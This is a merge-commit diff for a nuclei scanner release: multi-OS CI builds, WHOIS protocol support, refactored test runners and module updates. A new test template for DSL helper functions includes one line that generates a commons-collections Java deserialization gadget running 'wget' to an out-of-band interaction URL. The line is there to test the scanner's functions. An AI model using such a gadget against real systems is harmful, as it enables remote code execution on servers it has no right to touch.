Merge pull request #1396 from projectdiscovery/dev

v2.5.6 Release
This commit is contained in:
Sandeep Singh 2021-12-18 19:58:32 +05:30 committed by GitHub
commit c682b48a7c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
42 changed files with 1208 additions and 322 deletions

View File

@ -4,11 +4,13 @@ on:
pull_request:
workflow_dispatch:
jobs:
jobs:
build:
name: Test Builds
runs-on: ubuntu-latest
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macOS-latest]
steps:
- name: Set up Go
uses: actions/setup-go@v2
@ -18,19 +20,21 @@ jobs:
- name: Check out code
uses: actions/checkout@v2
- name: Build
run: go build .
working-directory: v2/cmd/nuclei/
- name: Test
run: go test ./...
working-directory: v2/
- name: Integration Tests
env:
GH_ACTION: true
run: bash run.sh
working-directory: integration_tests/
- name: Build
run: go build .
working-directory: v2/cmd/nuclei/
# At the bottom for known issue on OSX - https://github.com/projectdiscovery/nuclei/issues/1309
- name: Race Condition Tests
run: go build -race .
working-directory: v2/cmd/nuclei/
working-directory: v2/cmd/nuclei/

View File

@ -8,7 +8,10 @@ on:
jobs:
functional:
name: Functional Test
runs-on: ubuntu-latest
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macOS-latest]
steps:
- name: Set up Go
uses: actions/setup-go@v2
@ -19,7 +22,9 @@ jobs:
uses: actions/checkout@v2
- name: Functional Tests
env:
GH_ACTION: true
run: |
chmod +x run.sh
bash run.sh
working-directory: v2/cmd/functional-test
bash run.sh ${{ matrix.os }}
working-directory: v2/cmd/functional-test

View File

@ -19,7 +19,7 @@ jobs:
key: ${{ runner.os }}-go
- name: Installing Nuclei
if: steps.cache-go.outputs.cache-hit != 'true'
# if: steps.cache-go.outputs.cache-hit != 'true'
run: |
go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

View File

@ -247,6 +247,19 @@ Websocket contains the Websocket request to make in the template.
<div class="dd">
<code>whois</code> <i>[]<a href="#whoisrequest">whois.Request</a></i>
</div>
<div class="dt">
WHOIS contains the WHOIS request to make in the template.
</div>
<hr />
<div class="dd">
<code>workflows</code> <i>[]<a href="#workflowsworkflowtemplate">workflows.WorkflowTemplate</a></i>
</div>
@ -1320,6 +1333,8 @@ Appears in:
- <code><a href="#websocketrequest">websocket.Request</a>.matchers</code>
- <code><a href="#whoisrequest">whois.Request</a>.matchers</code>
@ -1713,6 +1728,8 @@ Appears in:
- <code><a href="#websocketrequest">websocket.Request</a>.extractors</code>
- <code><a href="#whoisrequest">whois.Request</a>.extractors</code>
@ -2561,7 +2578,7 @@ extensions:
</div>
<div class="dt">
ExtensionDenylist is the list of file extensions to deny during matching.
DenyList is the list of file, directories or extensions to deny during matching.
By default, it contains some non-interesting extensions that are hardcoded
in nuclei.
@ -3599,6 +3616,106 @@ name: prefix
## whois.Request
Request is a request for the WHOIS protocol
Appears in:
- <code><a href="#template">Template</a>.whois</code>
<hr />
<div class="dd">
<code>matchers</code> <i>[]<a href="#matchersmatcher">matchers.Matcher</a></i>
</div>
<div class="dt">
Matchers contains the detection mechanism for the request to identify
whether the request was successful by doing pattern matching
on request/responses.
Multiple matchers can be combined with `matcher-condition` flag
which accepts either `and` or `or` as argument.
</div>
<hr />
<div class="dd">
<code>extractors</code> <i>[]<a href="#extractorsextractor">extractors.Extractor</a></i>
</div>
<div class="dt">
Extractors contains the extraction mechanism for the request to identify
and extract parts of the response.
</div>
<hr />
<div class="dd">
<code>matchers-condition</code> <i>string</i>
</div>
<div class="dt">
MatchersCondition is the condition between the matchers. Default is OR.
Valid values:
- <code>and</code>
- <code>or</code>
</div>
<hr />
<div class="dd">
<code>query</code> <i>string</i>
</div>
<div class="dt">
Query contains query for the request
</div>
<hr />
<div class="dd">
<code>server</code> <i>string</i>
</div>
<div class="dt">
description: |
Optional WHOIS server URL.
If present, specifies the WHOIS server to execute the Request on.
Otherwise, nil enables bootstrapping
</div>
<hr />
## workflows.WorkflowTemplate
Appears in:

View File

@ -0,0 +1,71 @@
id: helper-functions-examples
info:
name: RAW Template with Helper Functions
author: pdteam
severity: info
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
01: {{base64("Hello")}}
02: {{base64(1234)}}
03: {{base64_decode("SGVsbG8=")}}
04: {{base64_py("Hello")}}
05: {{contains("Hello", "lo")}}
06: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
07: {{gzip("Hello")}}
08: {{hex_decode("6161")}}
09: {{hex_encode("aa")}}
10: {{html_escape("<body>test</body>")}}
11: {{html_unescape("&lt;body&gt;test&lt;/body&gt;")}}
12: {{len("Hello")}}
13: {{len(5555)}}
14: {{md5("Hello")}}
15: {{md5(1234)}}
16: {{mmh3("Hello")}}
17: {{print_debug(1+2, "Hello")}}
18: {{rand_base(5, "abc")}}
19: {{rand_base(5, "")}}
20: {{rand_base(5)}}
21: {{rand_char("abc")}}
22: {{rand_char("")}}
23: {{rand_char()}}
24: {{rand_int(1, 10)}}
25: {{rand_int(10)}}
26: {{rand_int()}}
27: {{rand_text_alpha(10, "abc")}}
28: {{rand_text_alpha(10, "")}}
29: {{rand_text_alpha(10)}}
30: {{rand_text_alphanumeric(10, "ab12")}}
31: {{rand_text_alphanumeric(10)}}
32: {{rand_text_numeric(10, 123)}}
33: {{rand_text_numeric(10)}}
34: {{regex("H([a-z]+)o", "Hello")}}
35: {{remove_bad_chars("abcd", "bc")}}
36: {{repeat("a", 5)}}
37: {{replace("Hello", "He", "Ha")}}
38: {{replace_regex("He123llo", "(\\d+)", "")}}
39: {{reverse("abc")}}
40: {{sha1("Hello")}}
41: {{sha256("Hello")}}
42: {{to_lower("HELLO")}}
43: {{to_upper("hello")}}
44: {{trim("aaaHelloddd", "ad")}}
45: {{trim_left("aaaHelloddd", "ad")}}
46: {{trim_prefix("aaHelloaa", "aa")}}
47: {{trim_right("aaaHelloddd", "ad")}}
48: {{trim_space(" Hello ")}}
49: {{trim_suffix("aaHelloaa", "aa")}}
50: {{unix_time(10)}}
51: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
52: {{url_encode("https://projectdiscovery.io/test?a=1")}}
53: {{wait_for(1)}}
extractors:
- type: regex
name: results
regex:
- '\d+: [^\s]+'

View File

@ -1,13 +1,17 @@
#!/bin/bash
echo "::group::Build nuclei"
rm integration-test nuclei 2>/dev/null
cd ../v2/cmd/nuclei
go build
mv nuclei ../../../integration_tests/nuclei
echo "::endgroup::"
echo "::group::Build nuclei integration-test"
cd ../integration-test
go build
mv integration-test ../../../integration_tests/integration-test
cd ../../../integration_tests
echo "::endgroup::"
./integration-test
if [ $? -eq 0 ]
then

View File

@ -0,0 +1,14 @@
id: basic-whois-example
info:
name: test template for WHOIS
author: pdteam
severity: info
whois:
- query: "{{Host}}"
extractors:
- type: kval
kval:
- "expiration date"
- "registrar"

View File

@ -472,8 +472,8 @@
"type": "string"
},
"type": "array",
"title": "extensions to deny match",
"description": "List of file extensions to deny during matching"
"title": "denylist",
"description": "List of files"
},
"id": {
"type": "string",
@ -1026,6 +1026,47 @@
"additionalProperties": false,
"type": "object"
},
"whois.Request": {
"properties": {
"matchers": {
"items": {
"$ref": "#/definitions/matchers.Matcher"
},
"type": "array",
"title": "matchers to run on response",
"description": "Detection mechanism to identify whether the request was successful by doing pattern matching"
},
"extractors": {
"items": {
"$ref": "#/definitions/extractors.Extractor"
},
"type": "array",
"title": "extractors to run on response",
"description": "Extractors contains the extraction mechanism for the request to identify and extract parts of the response"
},
"matchers-condition": {
"enum": [
"and",
"or"
],
"type": "string",
"title": "condition between the matchers",
"description": "Conditions between the matchers"
},
"query": {
"type": "string",
"title": "query for the WHOIS request",
"description": "Query contains query for the request"
},
"server": {
"type": "string",
"title": "server url to execute the WHOIS request on",
"description": "Server contains the server url to execute the WHOIS request on"
}
},
"additionalProperties": false,
"type": "object"
},
"templates.Template": {
"required": [
"id",
@ -1110,6 +1151,15 @@
"title": "websocket requests to make",
"description": "Websocket requests to make for the template"
},
"whois": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/whois.Request"
},
"type": "array",
"title": "whois requests to make",
"description": "WHOIS requests to make for the template"
},
"workflows": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",

View File

@ -15,10 +15,9 @@ import (
)
var (
debug = os.Getenv("DEBUG") == "true"
success = aurora.Green("[✓]").String()
failed = aurora.Red("[✘]").String()
errored = false
success = aurora.Green("[✓]").String()
failed = aurora.Red("[✘]").String()
githubAction = os.Getenv("GH_ACTION") == "true"
mainNucleiBinary = flag.String("main", "", "Main Branch Nuclei Binary")
devNucleiBinary = flag.String("dev", "", "Dev Branch Nuclei Binary")
@ -28,38 +27,64 @@ var (
func main() {
flag.Parse()
if err := runFunctionalTests(); err != nil {
debug := os.Getenv("DEBUG") == "true"
if err, errored := runFunctionalTests(debug); err != nil {
log.Fatalf("Could not run functional tests: %s\n", err)
}
if errored {
} else if errored {
os.Exit(1)
}
}
func runFunctionalTests() error {
func runFunctionalTests(debug bool) (error, bool) {
file, err := os.Open(*testcases)
if err != nil {
return errors.Wrap(err, "could not open test cases")
return errors.Wrap(err, "could not open test cases"), true
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text == "" {
continue
}
if err := runIndividualTestCase(text); err != nil {
errored = true
fmt.Fprintf(os.Stderr, "%s Test \"%s\" failed: %s\n", failed, text, err)
} else {
fmt.Printf("%s Test \"%s\" passed!\n", success, text)
errored, failedTestCases := runTestCases(file, debug)
if githubAction {
fmt.Println("::group::Failed tests with debug")
for _, failedTestCase := range failedTestCases {
_ = runTestCase(failedTestCase, true)
}
fmt.Println("::endgroup::")
}
return nil
return nil, errored
}
func runIndividualTestCase(testcase string) error {
func runTestCases(file *os.File, debug bool) (bool, []string) {
errored := false
var failedTestCases []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
testCase := strings.TrimSpace(scanner.Text())
if testCase == "" {
continue
}
if runTestCase(testCase, debug) {
errored = true
failedTestCases = append(failedTestCases, testCase)
}
}
return errored, failedTestCases
}
func runTestCase(testCase string, debug bool) bool {
if err := runIndividualTestCase(testCase, debug); err != nil {
fmt.Fprintf(os.Stderr, "%s Test \"%s\" failed: %s\n", failed, testCase, err)
return true
} else {
fmt.Printf("%s Test \"%s\" passed!\n", success, testCase)
}
return false
}
func runIndividualTestCase(testcase string, debug bool) error {
parts := strings.Fields(testcase)
var finalArgs []string

24
v2/cmd/functional-test/run.sh Normal file → Executable file
View File

@ -1,13 +1,23 @@
#!/bin/bash
echo 'Building functional-test binary'
go build
# reading os type from arguments
CURRENT_OS=$1
echo 'Building Nuclei binary from current branch'
go build -o nuclei_dev ../nuclei
if [ "${CURRENT_OS}" == "windows-latest" ];then
extension=.exe
fi
echo 'Installing latest release of nuclei'
GO111MODULE=on go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei
echo "::group::Building functional-test binary"
go build -o functional-test$extension
echo "::endgroup::"
echo "::group::Building Nuclei binary from current branch"
go build -o nuclei_dev$extension ../nuclei
echo "::endgroup::"
echo "::group::Building latest release of nuclei"
go build -o nuclei$extension -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei
echo "::endgroup::"
echo 'Starting Nuclei functional test'
./functional-test -main nuclei -dev ./nuclei_dev -testcases testcases.txt
./functional-test$extension -main ./nuclei$extension -dev ./nuclei_dev$extension -testcases testcases.txt

View File

@ -21,8 +21,5 @@ func (h *dnsBasic) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}

View File

@ -30,10 +30,8 @@ func (h *headlessBasic) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type headlessHeaderActions struct{}
@ -54,10 +52,8 @@ func (h *headlessHeaderActions) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type headlessExtractValues struct{}
@ -74,8 +70,6 @@ func (h *headlessExtractValues) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 3 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 3)
}

View File

@ -7,6 +7,9 @@ import (
"net"
"net/http"
"net/http/httptest"
"net/http/httputil"
"regexp"
"strconv"
"strings"
"github.com/julienschmidt/httprouter"
@ -37,6 +40,7 @@ var httpTestcases = map[string]testutils.TestCase{
"http/get.yaml,http/get-case-insensitive.yaml": &httpGetCaseInsensitiveCluster{},
"http/get-redirects-chain-headers.yaml": &httpGetRedirectsChainHeaders{},
"http/dsl-matcher-variable.yaml": &httpDSLVariable{},
"http/dsl-functions.yaml": &httpDSLFunctions{},
}
type httpInteractshRequest struct{}
@ -59,10 +63,8 @@ func (h *httpInteractshRequest) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpGetHeaders struct{}
@ -82,10 +84,8 @@ func (h *httpGetHeaders) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpGetQueryString struct{}
@ -105,10 +105,8 @@ func (h *httpGetQueryString) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpGetRedirects struct{}
@ -129,10 +127,8 @@ func (h *httpGetRedirects) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpGet struct{}
@ -150,10 +146,8 @@ func (h *httpGet) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpDSLVariable struct{}
@ -171,9 +165,60 @@ func (h *httpDSLVariable) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 5 {
return errIncorrectResultsCount(results)
return expectResultsCount(results, 5)
}
type httpDSLFunctions struct{}
func (h *httpDSLFunctions) Execute(filePath string) error {
router := httprouter.New()
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
request, err := httputil.DumpRequest(r, true)
if err != nil {
_, _ = fmt.Fprint(w, err.Error())
} else {
_, _ = fmt.Fprint(w, string(request))
}
})
ts := httptest.NewServer(router)
defer ts.Close()
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, "-nc")
if err != nil {
return err
}
if err := expectResultsCount(results, 1); err != nil {
return err
}
resultPattern := regexp.MustCompile(`\[[^]]+] \[[^]]+] \[[^]]+] [^]]+ \[([^]]+)]`)
submatch := resultPattern.FindStringSubmatch(results[0])
if len(submatch) != 2 {
return errors.New("could not parse the result")
}
totalExtracted := strings.Split(submatch[1], ",")
numberOfDslFunctions := 53
if len(totalExtracted) != numberOfDslFunctions {
return errors.New("incorrect number of results")
}
for _, header := range totalExtracted {
parts := strings.Split(header, ": ")
index, err := strconv.Atoi(parts[0])
if err != nil {
return err
}
if index < 0 || index > numberOfDslFunctions {
return fmt.Errorf("incorrect header index found: %d", index)
}
if strings.TrimSpace(parts[1]) == "" {
return fmt.Errorf("the DSL expression with index %d was not evaluated correctly", index)
}
}
return nil
}
@ -203,10 +248,8 @@ func (h *httpPostBody) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpPostJSONBody struct{}
@ -240,10 +283,8 @@ func (h *httpPostJSONBody) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpPostMultipartBody struct{}
@ -282,10 +323,8 @@ func (h *httpPostMultipartBody) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpRawDynamicExtractor struct{}
@ -319,10 +358,8 @@ func (h *httpRawDynamicExtractor) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpRawGetQuery struct{}
@ -347,10 +384,8 @@ func (h *httpRawGetQuery) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpRawGet struct{}
@ -373,10 +408,8 @@ func (h *httpRawGet) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpRawPayload struct{}
@ -408,10 +441,8 @@ func (h *httpRawPayload) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 2 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 2)
}
type httpRawPostBody struct{}
@ -440,10 +471,8 @@ func (h *httpRawPostBody) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpRawCookieReuse struct{}
@ -487,10 +516,8 @@ func (h *httpRawCookieReuse) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpRawUnsafeRequest struct{}
@ -512,10 +539,8 @@ func (h *httpRawUnsafeRequest) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpRequestCondition struct{}
@ -541,10 +566,8 @@ func (h *httpRequestCondition) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpRequestSelContained struct{}
@ -573,10 +596,8 @@ func (h *httpRequestSelContained) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpGetCaseInsensitive struct{}
@ -594,10 +615,8 @@ func (h *httpGetCaseInsensitive) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type httpGetCaseInsensitiveCluster struct{}
@ -617,10 +636,8 @@ func (h *httpGetCaseInsensitiveCluster) Execute(filesPath string) error {
if err != nil {
return err
}
if len(results) != 2 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 2)
}
type httpGetRedirectsChainHeaders struct{}
@ -645,8 +662,6 @@ func (h *httpGetRedirectsChainHeaders) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}

View File

@ -11,18 +11,14 @@ import (
)
var (
debug = os.Getenv("DEBUG") == "true"
customTest = os.Getenv("TEST")
protocol = os.Getenv("PROTO")
debug = os.Getenv("DEBUG") == "true"
githubAction = os.Getenv("GH_ACTION") == "true"
customTests = os.Getenv("TESTS")
errored = false
)
success = aurora.Green("[✓]").String()
failed = aurora.Red("[✘]").String()
func main() {
success := aurora.Green("[✓]").String()
failed := aurora.Red("[✘]").String()
protocolTests := map[string]map[string]testutils.TestCase{
protocolTests = map[string]map[string]testutils.TestCase{
"http": httpTestcases,
"network": networkTestcases,
"dns": dnsTestCases,
@ -30,29 +26,81 @@ func main() {
"loader": loaderTestcases,
"websocket": websocketTestCases,
"headless": headlessTestcases,
"whois": whoisTestCases,
}
for proto, tests := range protocolTests {
if protocol == "" || protocol == proto {
fmt.Printf("Running test cases for \"%s\" protocol\n", aurora.Blue(proto))
)
for file, test := range tests {
if customTest != "" && !strings.Contains(file, customTest) {
continue // only run tests user asked
}
if err := test.Execute(file); err != nil {
fmt.Fprintf(os.Stderr, "%s Test \"%s\" failed: %s\n", failed, file, err)
errored = true
} else {
fmt.Printf("%s Test \"%s\" passed!\n", success, file)
}
}
func main() {
failedTestTemplatePaths := runTests(toMap(toSlice(customTests)))
if len(failedTestTemplatePaths) > 0 {
if githubAction {
debug = true
fmt.Println("::group::Failed integration tests in debug mode")
_ = runTests(failedTestTemplatePaths)
fmt.Println("::endgroup::")
}
}
if errored {
os.Exit(1)
}
}
func errIncorrectResultsCount(results []string) error {
return fmt.Errorf("incorrect number of results \n\t%s", strings.Join(results, "\n\t"))
func runTests(customTemplatePaths map[string]struct{}) map[string]struct{} {
failedTestTemplatePaths := map[string]struct{}{}
for proto, testCases := range protocolTests {
if len(customTemplatePaths) == 0 {
fmt.Printf("Running test cases for %q protocol\n", aurora.Blue(proto))
}
for templatePath, testCase := range testCases {
if len(customTemplatePaths) == 0 || contains(customTemplatePaths, templatePath) {
if err, failedTemplatePath := execute(testCase, templatePath); err != nil {
failedTestTemplatePaths[failedTemplatePath] = struct{}{}
}
}
}
}
return failedTestTemplatePaths
}
func execute(testCase testutils.TestCase, templatePath string) (error, string) {
if err := testCase.Execute(templatePath); err != nil {
_, _ = fmt.Fprintf(os.Stderr, "%s Test \"%s\" failed: %s\n", failed, templatePath, err)
return err, templatePath
}
fmt.Printf("%s Test \"%s\" passed!\n", success, templatePath)
return nil, ""
}
func expectResultsCount(results []string, expectedNumber int) error {
if len(results) != expectedNumber {
return fmt.Errorf("incorrect number of results: %d (actual) vs %d (expected) \nResults:\n\t%s\n", len(results), expectedNumber, strings.Join(results, "\n\t"))
}
return nil
}
func toSlice(value string) []string {
if strings.TrimSpace(value) == "" {
return []string{}
}
return strings.Split(value, ",")
}
func toMap(slice []string) map[string]struct{} {
result := make(map[string]struct{}, len(slice))
for _, value := range slice {
if _, ok := result[value]; !ok {
result[value] = struct{}{}
}
}
return result
}
func contains(input map[string]struct{}, value string) bool {
_, ok := input[value]
return ok
}

View File

@ -49,10 +49,8 @@ func (h *remoteTemplateList) Execute(templateList string) error {
if err != nil {
return err
}
if len(results) != 2 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 2)
}
type remoteWorkflowList struct{}
@ -85,10 +83,8 @@ func (h *remoteWorkflowList) Execute(workflowList string) error {
if err != nil {
return err
}
if len(results) != 3 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 3)
}
type nonExistentTemplateList struct{}

View File

@ -42,10 +42,8 @@ func (h *networkBasic) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type networkMultiStep struct{}
@ -92,10 +90,8 @@ func (h *networkMultiStep) Execute(filePath string) error {
} else {
expectedResultsSize = 1
}
if len(results) != expectedResultsSize {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, expectedResultsSize)
}
type networkRequestSelContained struct{}
@ -117,8 +113,6 @@ func (h *networkRequestSelContained) Execute(filePath string) error {
if routerErr != nil {
return routerErr
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}

View File

@ -39,10 +39,8 @@ func (h *websocketBasic) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type websocketCswsh struct{}
@ -62,10 +60,8 @@ func (h *websocketCswsh) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type websocketNoCswsh struct{}
@ -85,10 +81,8 @@ func (h *websocketNoCswsh) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 0 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 0)
}
type websocketWithPath struct{}
@ -108,8 +102,6 @@ func (h *websocketWithPath) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 0 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 0)
}

View File

@ -0,0 +1,20 @@
package main
import (
"github.com/projectdiscovery/nuclei/v2/pkg/testutils"
)
var whoisTestCases = map[string]testutils.TestCase{
"whois/basic.yaml": &whoisBasic{},
}
type whoisBasic struct{}
// Execute executes a test case and returns an error if occurred
func (h *whoisBasic) Execute(filePath string) error {
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "https://example.com", debug)
if err != nil {
return err
}
return expectResultsCount(results, 1)
}

View File

@ -32,10 +32,8 @@ func (h *workflowBasic) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 2 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 2)
}
type workflowConditionMatched struct{}
@ -53,10 +51,8 @@ func (h *workflowConditionMatched) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}
type workflowConditionUnmatch struct{}
@ -74,10 +70,8 @@ func (h *workflowConditionUnmatch) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 0 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 0)
}
type workflowMatcherName struct{}
@ -95,8 +89,6 @@ func (h *workflowMatcherName) Execute(filePath string) error {
if err != nil {
return err
}
if len(results) != 1 {
return errIncorrectResultsCount(results)
}
return nil
return expectResultsCount(results, 1)
}

View File

@ -3,7 +3,6 @@ module github.com/projectdiscovery/nuclei/v2
go 1.17
require (
github.com/Ice3man543/nvd v1.0.8
github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible
github.com/alecthomas/jsonschema v0.0.0-20211022214203-8b29eab41725
github.com/andygrunwald/go-jira v1.14.0
@ -47,7 +46,6 @@ require (
github.com/shirou/gopsutil/v3 v3.21.9
github.com/spaolacci/murmur3 v1.1.0
github.com/spf13/cast v1.4.1
github.com/stretchr/testify v1.7.0
github.com/syndtr/goleveldb v1.0.0
github.com/tj/go-update v2.2.5-0.20200519121640-62b4b798fd68+incompatible
github.com/valyala/fasttemplate v1.2.1
@ -67,11 +65,18 @@ require (
require github.com/projectdiscovery/folderutil v0.0.0-20211206150108-b4e7ea80f36e
require (
github.com/Ice3man543/nvd v1.0.8
github.com/stretchr/testify v1.7.0
)
require (
git.mills.io/prologic/smtpd v0.0.0-20210710122116-a525b76c287a // indirect
github.com/PuerkitoBio/goquery v1.6.0 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/akrylysov/pogreb v0.10.1 // indirect
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751 // indirect
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4 // indirect
github.com/andres-erbsen/clock v0.0.0-20160526145045-9e14626cd129 // indirect
github.com/andybalholm/cascadia v1.1.0 // indirect
github.com/antchfx/xpath v1.2.0 // indirect
@ -108,8 +113,10 @@ require (
github.com/leodido/go-urn v1.2.1 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/mitchellh/go-homedir v1.1.0 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/openrdap/rdap v0.9.0 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e // indirect
github.com/projectdiscovery/iputil v0.0.0-20210804143329-3a30fcde43f3 // indirect
@ -130,6 +137,7 @@ require (
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
google.golang.org/appengine v1.6.7 // indirect
google.golang.org/protobuf v1.27.1 // indirect
gopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect
gopkg.in/corvus-ch/zbase32.v1 v1.0.0 // indirect
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b // indirect
)

View File

@ -71,8 +71,10 @@ github.com/alecthomas/jsonschema v0.0.0-20210818095345-1014919a589c/go.mod h1:/n
github.com/alecthomas/jsonschema v0.0.0-20211022214203-8b29eab41725 h1:NjwIgLQlD46o79bheVG4SCdRnnOz4XtgUN1WABX5DLA=
github.com/alecthomas/jsonschema v0.0.0-20211022214203-8b29eab41725/go.mod h1:/n6+1/DWPltRLWL/VKyUxg6tzsl5kHUCcraimt4vr60=
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751 h1:JYp7IbQjafoB+tBA3gMyHYHrpOtNuDiK/uB5uXxq5wM=
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4 h1:Hs82Z41s6SdL1CELW+XaDYmOH4hkBN4/N9og/AsOv7E=
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
